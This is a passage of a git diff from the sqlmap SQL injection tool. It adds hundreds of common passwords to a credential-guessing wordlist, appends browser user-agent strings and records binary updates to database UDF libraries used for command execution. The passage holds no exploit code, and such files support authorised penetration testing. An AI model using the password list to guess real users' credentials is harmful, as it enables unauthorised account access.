+usmc +usnavy util utility utlestat utopia uucp +uuuuuu vacation vader +vader1 +vagabond vagina val valencia @@ -4691,57 +8902,90 @@ valentin valentina valentinchoque valentine +valeria valerie valeverga valhalla +valkyrie valley vampire +vampires +vancouve vanessa +vanessa1 +vanguard +vanhalen vanilla vasant +vauxhall vea +vector +vectra vedder +vegas vegeta +vegitto veh velo +velocity velvet venice +venom +ventura +venture venus veracruz +verbatim veritas +verizon vermont -Vernon +vernon +verona veronica +veronika +versace vertex_login vertigo vette vfhbyf vfrcbv +vh5150 +viagra vicki +vickie vicky victor victor1 victoria -Victoria victory video videouser +vienna +vietnam +viewsoni vif_dev_pwd viking vikings +vikings1 vikram +villa village vincent -Vincent vincent1 +vinnie +vintage violet violin viper viper1 +vipergts +vipers virago virgil virgin virginia +virginie +virtual virus viruser visa @@ -4750,164 +8994,303 @@ visitor visual vivian vladimir +vodka volcano +volcom +volkswag volley +volleyba +volume volvo voodoo vortex voyager +voyager1 +voyeur vrr1 vrr2 +vsegda +vulcan +vvvv +vvvvvv +waffle +wagner waiting walden waldo walker wallace +wallet walleye wally +walmart +walnut +walrus walter +walton +wanderer +wang wanker +wanking +wanted warcraft +wareagle +warez wargames +warhamme warlock +warlord warner +warning warren warrior +warrior1 warriors +warthog +wasabi +washburn +washingt washington +wasser +wassup +wasted +watch +watcher water water1 -Waterloo +waterboy +waterloo +waters +watford watson wayne wayne1 +wealth +wearing weasel +weather +weaver web +webber webcal01 webdb +webmaste webmaster webread webster -Webster +wedding wedge +weed +weed420 +weekend weenie weezer +weiner +weird welcome welcome1 welcome123 +welder wendi wendy wendy1 +weng +werder +werdna werewolf +werner +wert wesley west western +westham +weston westside +westwood +wetpussy +wetter wfadmin +wg8e3wjf wh whale1 +what whatever whatnot +whatsup +whatthe +whatwhat wheels +whiplash +whiskers +whiskey whisky +whisper +whistler whit white +white1 +whiteboy +whiteout +whitesox +whitey whiting whitney whocares wholesale +whore whoville +whynot wibble wicked +widget wiesenhof +wifey wilbur +wild +wildbill +wildcard wildcat wildcats +wilder +wildfire +wildman +wildone +wildwood will william william1 williams williamsburg willie +willis willow -Willow willy wilma wilson win95 wind +windmill window windows -Windows +windsor windsurf +winger +wingman +wingnut +wings winner +winner1 +winners winnie -Winnie winniethepooh winona winston +winston1 winter +winter1 wip +wireless wisconsin wisdom +wiseguy +wishbone +wives wizard +wizard1 +wizards +wk_test wkadmin wkproxy wksys -wk_test wkuser wms wmsys wob wolf wolf1 +wolf359 +wolfen wolfgang +wolfie +wolfman +wolfpac wolfpack wolverin wolverine -Wolverine wolves +woman wombat wombat1 women wonder +wonderboy wood -Woodrow +woodie +woodland +woodstoc woodwind woody +woody1 +woofer woofwoof +woohoo +wookie +woowoo word wordpass +wordup work work123 +working +workout world -World wormwood worship +worthy +wowwow wps +wraith wrangler +wrench +wrestle +wrestler +wrestlin wrestling wright +wrinkle1 writer writing wsh wsm +wutang www wwwuser +wwww +wwwwww +wwwwwww +wwwwwwww +wxcvbn wyoming +x-files +x-men xademo xanadu +xander xanth xavier xcountry xdp +xerxes xfer xfiles -x-files +xian +xiang +xiao ximena ximenita +xing +xiong xla -x-men xmodem xnc xni @@ -4916,11 +9299,14 @@ xnp xns xprt xtr +xtreme +xuan xxx xxx123 xxxx xxxxx xxxxxx +xxxxxxx xxxxxxxx xyz xyz123 @@ -4928,62 +9314,126 @@ xyzzy y yaco yamaha +yamahar1 +yamato yang yankee yankees yankees1 +yankees2 +yasmin +yaya +yeah +yeahbaby yellow yellowstone yes yeshua +yessir +yesyes yfnfif +ying yoda yogibear yolanda yomama +yong yosemite yoteamo young +young1 your_pass +yourmom +yousuck +yoyo +yoyoma +yoyoyo ysrmma +ytrewq +yuan yukon +yummy +yumyum yvette yvonne +yyyy +yyyyyy +yyyyyyyy +yzerman zachary +zachary1 zack +zander +zang +zanzibar zap zapata zapato zaphod +zappa +zapper +zaq123 zaq12wsx +zaq1xsw2 +zaqwsx +zaqxsw zebra zebras +zeng zenith zephyr zeppelin zepplin +zero +zerocool zeus +zhai +zhang +zhao +zhei +zheng +zhong zhongguo +zhou +zhuai +zhuang +zhui +zhun +zhuo +zidane ziggy zigzag +zildjian zimmerman +zipper +zippo +zippy zirtaeb zmodem +zodiac zoltan zombie +zong zoomer zorro +zouzou +zuan zwerg zxc zxc123 zxccxz +zxcv zxcvb -Zxcvb zxcvbn zxcvbnm -Zxcvbnm +zxcvbnm1 zxcxz zxczxc +zxzxzx zzz +zzzxxx +zzzz zzzzz zzzzzz +zzzzzzz +zzzzzzzz diff --git a/data/txt/user-agents.txt b/data/txt/user-agents.txt index 5b0adbc058b..8c6f24a4c15 100644 --- a/data/txt/user-agents.txt +++ b/data/txt/user-agents.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Opera @@ -4183,3 +4183,92 @@ Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, lik Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+ Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+ + +# https://techblog.willshouse.com/2012/01/03/most-common-user-agents/ (Note: Updated December 28th 2020) + +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15 +Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 +Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15 +Mozilla/5.0 (X11; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66 +Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.57 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.101 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 OPR/72.0.3815.400 +Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.47 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.55 +Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 OPR/72.0.3815.400 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:83.0) Gecko/20100101 Firefox/83.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 OPR/72.0.3815.320 +Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0 +Mozilla/5.0 (X11; Linux x86_64; rv:82.0) Gecko/20100101 Firefox/82.0 +Mozilla/5.0 (Linux; U; Android 4.3; en-us; SM-N900T Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 +Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 +Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 OPR/73.0.3856.284 diff --git a/data/txt/wordlist.tx_ b/data/txt/wordlist.tx_ index 605a9c0eb2f..239b2a9abe2 100644 Binary files a/data/txt/wordlist.tx_ and b/data/txt/wordlist.tx_ differ diff --git a/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ index 7e0eeb95ebc..76f099b2c7f 100644 Binary files a/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ and b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ differ diff --git a/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ index c7a4d7a10bb..7c21e104a41 100644 Binary files a/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ and b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ differ diff --git a/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ index 22a11422050..061aac785ef 100644 Binary files a/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ and b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ differ diff --git a/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ index 3641746f11a..e361ec17dd6 100644 Binary files a/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ and b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ differ diff --git a/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ index fa2f0bf1c4e..b0e107fe901 100644 Binary files a/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ index 4053004c3af..42ad85f519e 100644 Binary files a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ index bae51c6fe8a..17e53f9f61b 100644 Binary files a/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ index d0c04ec7881..a9d9c65d1f9 100644 Binary files a/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ index 3bb00e2d781..da5249a980a 100644 Binary files a/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ index c3f81620e6d..889cbb3eb41 100644 Binary files a/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ index 8b1d22aaa32..e751b67ff0d 100644 Binary files a/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ index 804434aeb01..44a198d9b39 100644 Binary files a/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ index 17b69f42ee9..f6930837676 100644 Binary files a/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ index 766225e5a24..055bb922275 100644 Binary files a/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ index cdbff5fbbbc..de871a52f2f 100644 Binary files a/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ index 654929d918c..d9c9ed6fa2f 100644 Binary files a/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ index 121c6369c36..2c2090677e0 100644 Binary files a/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ index 9a972cc3fef..c8460e21e2f 100644 Binary files a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ index 9b439667f5a..4502eea5b61 100644 Binary files a/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ index 5ff69935f68..3d5cdc7b271 100644 Binary files a/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ index 93009945630..0abd6b48ad0 100644 Binary files a/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ index 96afcf3d066..153580c9c0e 100644 Binary files a/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ index 159d05a8d50..1df535db2ca 100644 Binary files a/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ index 0363612fe4f..35641ae3bb3 100644 Binary files a/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ index a21fea8ac53..dc1f8f0fc37 100644 Binary files a/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ index 22a6f438645..1cf614cfb1b 100644 Binary files a/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ index 9cc1df41bca..6e5acfcb072 100644 Binary files a/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ index 8dc29af5500..405e2ed217f 100644 Binary files a/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ index 2d3ce9f9eaa..fc07833c4b4 100644 Binary files a/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ and b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ differ diff --git a/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ index c4fd18d28aa..267942ed953 100644 Binary files a/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ and b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ differ diff --git a/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ index 2beba1d4c91..0e6a24924e6 100644 Binary files a/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ and b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ differ diff --git a/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ index 612535c700a..c3f671f86b7 100644 Binary files a/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ and b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ differ diff --git a/data/xml/banner/generic.xml b/data/xml/banner/generic.xml index 6e671825f0b..555981e86d4 100644 --- a/data/xml/banner/generic.xml +++ b/data/xml/banner/generic.xml @@ -34,7 +34,7 @@ - + @@ -83,6 +83,10 @@ + + + + @@ -115,10 +119,22 @@ + + + + + + + + + + + + @@ -135,7 +151,7 @@ - + diff --git a/data/xml/banner/mysql.xml b/data/xml/banner/mysql.xml index 863764807f2..456c9510b82 100644 --- a/data/xml/banner/mysql.xml +++ b/data/xml/banner/mysql.xml @@ -64,6 +64,10 @@ + + + + diff --git 